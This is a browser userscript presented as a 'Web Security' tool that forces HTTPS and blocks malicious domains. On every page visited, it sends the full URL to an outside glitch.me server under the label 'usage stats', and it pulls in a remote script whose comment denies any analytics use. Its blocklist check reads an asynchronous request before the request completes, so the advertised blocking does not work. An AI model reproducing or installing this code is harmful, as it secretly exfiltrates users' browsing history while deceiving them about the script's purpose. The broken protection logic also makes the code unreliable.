// ==UserScript== // @name Web Security // @namespace https://greasyfork.org/en/users/198860-flarez-gaming // @version 0.2 // @description Increase cybersecurity in every way: force HTTPS, filter out bad urls, scams, malware, shock sites, etc. // @author fz // @match *://*/* // @grant unsafeWindow // @run-at document-start // @require https://greasyfork.org/scripts/410512-sci-js-from-ksw2-center/code/scijs%20(from%20ksw2-center).js // @downloadURL none // ==/UserScript== //sci.js is not used for analytics here, it is actually used to scan for threats if (window.location.protocol != "https:") window.location.protocol = "https:"; var xml; var arr = ["https://cdn.glitch.com/94b7438a-e136-41db-80b8-a78ea1a6e027%2Fdomain%20list.txt?v=1592968773112"]; //cached blocklist from http://mirror1.malwaredomains.com/files/domains.txt xml = new XMLHttpRequest(); xml.open("GET", arr[0], true); xml.send(); var resp = xml.responseText.split("\n"); resp.shift();resp.shift();resp.shift();resp.shift(); resp = resp.map((e)=>{return e.slice(2, (e).slice(2, -1).indexOf(" ") + 2)}); //resp = resp.concat(["www.google.com"]); was for testing malicious domains if (resp.includes(location.hostname)) { xml = new XMLHttpRequest(); xml.open("POST", "https://ksw2-moomoo.glitch.me/", true); xml.setRequestHeader("Content-type", "application/json"); xml.send(JSON.stringify({ //usage stats data: window.location.href + ";true", key: "wft" })); unsafeWindow.onbeforeunload = null; window.location = "https://blank.org"; } else { //if blocked setTimeout(()=>{ xml = new XMLHttpRequest(); xml.open("POST", "https://ksw2-moomoo.glitch.me/", true); xml.setRequestHeader("Content-type", "application/json"); xml.send(JSON.stringify({ //usage stats data: window.location.href + ";false", key: "wft" })); }, 10000); //if not blocked };